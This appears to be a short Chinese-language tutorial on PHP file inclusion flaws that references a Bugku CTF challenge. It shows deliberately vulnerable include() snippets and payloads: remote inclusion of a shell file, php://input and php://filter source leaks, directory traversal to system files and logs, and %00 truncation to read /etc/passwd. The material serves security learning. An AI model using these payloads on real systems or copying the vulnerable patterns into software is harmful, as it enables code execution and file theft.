0x01 普通远程文件包含
这是我接触web最先碰到的一种,bugku中http://120.24.86.145:8005/post/的就利用了此类文件包含
#!php
<?php include($_GET['file']); ?>
-
远程代码执行
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On) -
利用php流input
?file=php://input
(需要allow_url_include=On) -
利用php流filter
?file=php://filter/convert.base64-encode/resource=index.php
(需要allow_url_include=On)
0x02 普通本地文件包含
#!php
<?php include("inc/" . $_GET['file']); ?>
-
包含目录下的文件
?file=.htaccess
-
目录遍历
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中这两个文件存储着所有文件的路径,需要root权限) -
包含错误日志
?file=../../../../../../../../../var/log/apache/error.log
-
包含上传的附件
?file=../attachment/media/xxx.file
0x03 有限制的本地文件包含
#!php
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
-
%00截断
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
网友评论